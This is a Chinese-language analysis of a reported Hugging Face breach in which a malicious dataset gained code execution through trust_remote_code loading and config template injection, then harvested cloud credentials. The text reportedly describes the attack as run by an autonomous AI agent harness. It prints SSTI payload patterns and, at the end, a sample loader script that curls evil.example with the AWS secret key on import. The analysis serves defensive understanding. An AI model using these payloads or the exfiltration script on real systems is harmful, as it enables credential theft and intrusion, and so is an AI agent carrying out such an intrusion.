一、事件定位
官方原话:攻击者上传了一个恶意数据集(malicious dataset) ,滥用了两条代码执行路径:
"a remote-code dataset loader and a template-injection in a dataset configuration, to run code on a processing worker"
然后在处理 Worker 上执行代码 → 升级到节点级(node-level)权限 → 收割云与集群凭据 → 周末期间横向移动到多个内部集群。整个过程由一套"自主 AI Agent harness"驱动,用了成千上万次操作、跑在大量短生命周期沙盒里,C2 自迁移到公共服务上。
官方确认公共模型/数据集/Spaces 未被篡改,受影响凭据已全部轮换、受损节点已重建、两条代码执行路径已关闭。
二、攻击链具体怎么实现的
攻击者
└─ 上传恶意数据集到 HF Hub(仓库里同时埋了两颗雷)
├─ 雷A:自定义加载脚本(remote-code loader)
└─ 雷B:精心构造的数据集配置(template injection)
│
▼
HF 后端"处理 Worker"(datasets-server / 数据集预览构建器)
自动处理新数据集 → 以 trust_remote_code 加载 + 渲染配置
│ (两条路径任一命中即 RCE)
▼
在 Worker 进程内拿到代码执行
│
▼
Worker 带着节点权限运行 → 读环境变量 / 云元数据服务(IMDS) / kubeconfig / 集群 SA token
│
▼
收割云凭据 + 集群凭据 → 容器逃逸/节点提权 → 周末横向移动多个内部集群
关键点是:不是某个文件有 bug,而是"可执行 Loader + 配置模板 + 高权限处理 Worker"被放在了同一条信任链上。
AI 只是把既有边界缺陷以更高速度放大了。
三、分析远程代码加载器权限验证机制
这是个常见误解。准确说法是:库层面有gate,但这次破的是"信任边界"。
1)对用户/调用方:是有权限开关的
datasets 库的 load_dataset() 默认拒绝执行仓库里的自定义脚本。你必须在代码里显式写:
from datasets import load_dataset
ds = load_dataset("attacker/evil-dataset", trust_remote_code=True) # ← 这个开关
不加 trust_remote_code=True,库会直接抛 ValueError: The repository contains custom code which must be executed...。
这个安全门是 2022 年后才加的。所以"不需要权限"是错的------调用方必须主动说"我信这个仓库的代码"。
2)真正的破绽在 HF 自己的基础设施
HF后端为了给每个数据集自动生成预览/构建viewer,会自动 用trust_remote_code去加载并处理第三方上传的数据集。
也就是说:
- 平台自己把"信任"授予了每一个上传的数据集;
- 而且是在高权限的处理 Worker 上跑,不是隔离的沙箱;
- 攻击者不需要骗某个具体用户去点
trust_remote_code,只要上传数据集,HF 的流水线就替他点了。
3)对用户侧的"不需要权限"的另一层含义
即便你是普通用户、自己写了 trust_remote_code=True,这个开关也没有任何沙箱/审查 ------一旦打开,仓库里的任何 Python 代码都以你的完整进程权限运行。它只是你"知情同意"的免责声明,不是操作系统层面的权限校验。
这就是典型的供应链 RCE:你信任的不是一个数据集,而是仓库作者能执行的任意代码。
四、配置模板注入(template injection)的原理
官方确认的是 "a template-injection in a dataset configuration "------即注入点发生在数据集的配置/元数据 里,而不是加载脚本。原理是标准的 SSTI(服务端模板注入)/ 格式化字符串注入:
通用原理 :当应用把"用户可控的输入"当作模板去渲染/求值,而不是当作纯数据时,用户就能嵌入模板表达式,让引擎替他执行代码。
- Jinja2 类:
{``{ ''.__class__.__mro__[1].__subclasses__() }}→ 顺着 Python 对象链摸到os/subprocess→ RCE str.format类:"{0.__init__.__globals__[os].system('...')}"→ 同样可达危险对象- Shell/命令拼接类:配置值里带
;、$()、|等,被拼进命令行执行。
映射到 HF 数据集配置 :数据集仓库有一套配置/元数据(README.md 的 YAML 头、dataset_infos.json、config 名称等)。HF 后端处理流水线读取这些配置,并在某一步把配置里的值通过模板/格式化渲染 (例如用来拼加载命令、构造 viewer 查询、或渲染页面)。如果某个配置字段(如 config 名、描述、路径)里被塞了模板表达式,且后端没有把它当纯字符串处理,那个表达式就在 Worker 上被求值 → 代码/命令执行。
为什么它是"第二条独立路径": 它和 remote-code loader 是两个互不依赖的 RCE 入口。封堵其中一条不够,必须两条都关(HF 通报里说"the dataset code-execution paths used for initial access are closed",用的是复数 paths)。
⚠️ 注:HF 至今未公开 具体是哪个配置字段、用的是什么模板引擎(Jinja2 /
.format/ 其他)。上面是"原理层"的标准解释 + 对事件结构的对齐,不是官方披露的实现细节。
五、这次事件给的防御启示
5.1 处理不可信内容必须沙箱化:任何自动执行第三方数据集/模型代码的后端,都该在受限沙箱(无云凭据、无内部网络、短生命周期)里跑。
5.2 最小权限 + 凭据隔离:处理 Worker 不该能读到云 IMDS、kubeconfig、集群 SA token。云凭据应走短期令牌 + 实例角色 + IMDSv2 防护,不让 Worker 直接拿长驻凭据。
5.3 集群间网络隔离:横向移动能跨"多个内部集群",说明东西向网络没做够隔离。
5.4 两条路径都要关:remote-code 默认关、配置渲染严格当数据不求值。
顺带一个事件花絮(非技术问题):HF 的 IR 团队最初想用某美国商业前沿大模型 API 分析 1.7 万条攻击日志,结果该模型因安全策略拒答 (把事件响应误判成攻击);他们改在自己的基础设施上部署开源的 GLM 5.2,几小时内完成了取证。
补充一 datasets源码级加载流程
加载器本身是有权限限制的。datasets 在 resolve_trust_remote_code() 里会检查------只要仓库带了自定义脚本且没设定 trust_remote_code=True,直接 raise ValueError,绝不执行。
但这道"门"本质是知情同意开关,不是沙箱。一旦把它设成 True,脚本就在调用进程的完整权限下运行,且执行发生在 import 那一刻------甚至在你调用 .as_dataset() 之前。
所以HF 这次失守,不是门没了,而是它的后端流水线对每一个第三方数据集自动把门打开,且跑在高权限 Worker 上。
load_dataset("org/evil", trust_remote_code=...) # ① 入口
│
▼
get_dataset_builder(...) # ② 选工厂
│ 仓库带加载脚本 → HubDatasetModuleFactoryWithScript
▼
HubDatasetModuleFactoryWithScript.get_module() # ③ 装配模块
├─ resolve_trust_remote_code(trust_remote_code, ...) # [门控] 无 True 则 raise
├─ init_dynamic_modules(...) # 建临时可导入包,不污染 site-packages
├─ hf_hub_download(repo_id, filename=<script>, # 从 Hub 下载脚本到本地缓存
│ repo_type="dataset", revision=...)
├─ _get_importable_file_path / _create_importable_file # 把脚本写进动态模块目录
│ + get_imports(...) # 重写脚本内部 import 使其可解析
└─ return DatasetModule(module_path=<动态导入路径>,
hash=<文件哈希>, builder_kwargs=...)
│
▼
get_dataset_builder_class(dataset_module)
│
▼
import_main_class(module_path) # ④ 导入 = 执行(关键!)
└─ importlib.import_module(module_path) ← 运行脚本【顶层全部代码】
│ 扫出 DatasetBuilder 子类返回
▼
builder = builder_cls(cache_dir=..., **builder_kwargs) # ⑤ 实例化
builder.download_and_prepare(...) # ⑥ 生成(第二批执行点)
├─ _split_generators(download_manager) # 列数据文件
└─ _generate_examples(**split_args) ← 运行脚本【函数体代码】
│
▼
return Dataset / DatasetDict
其中,import_main_class 就是"导入即执行"的命门
python
def import_main_class(module_path) -> Optional[type[DatasetBuilder]]:
"""Import a module at module_path and return its main class: a DatasetBuilder"""
module = importlib.import_module(module_path) # ← 这一行就执行了脚本顶层所有代码
# Find the main class in our imported module
module_main_cls = None
for name, obj in module.__dict__.items():
if inspect.isclass(obj) and issubclass(obj, DatasetBuilder):
if inspect.isabstract(obj):
continue
module_main_cls = obj
...
return module_main_cls
所以攻击者的恶意逻辑写在脚本顶层, import的瞬间就已经跑起来了。
另一条路(配置模板注入)对应抓的 create_builder_configs_from_metadata_configs:
python
def create_builder_configs_from_metadata_configs(module_path, metadata_configs, ...):
builder_cls = import_main_class(module_path)
...
for config_name, config_params in metadata_configs.items(): # ← README.md 的 `configs` YAML
...
builder_configs.append(builder_config_cls(name=config_name, data_files=..., **{...}))
它把数据集 README.md 的 YAML configs 字段解析成 BuilderConfig。
这就解释了为什么配置也能成为第二执行路径 :HF 后端在渲染/使用这些 config 值时若经由模板/格式化求值,控制 config 的人就能注入表达式:无需加载脚本、无需 trust_remote_code。这也是官方说"两条独立路径、必须都关"的原因。
一个最小恶意脚本(仅用于理解"import=RCE")
python
# evil_dataset.py ------ 作为数据集仓库的加载脚本上传
import os, subprocess
# ↓↓↓ 顶层代码,import 这一刻就执行 ↓↓↓
subprocess.run(
["curl", "-s", "https://evil.example/exfil?k=" + os.environ.get("AWS_SECRET_ACCESS_KEY", "")],
shell=False,
)
from datasets import DatasetBuilder
class EvilDatasetBuilder(DatasetBuilder):
def _generate_examples(self, **kw):
yield 0, {"x": 1} # 真正的数据逻辑可以是无害的"掩护"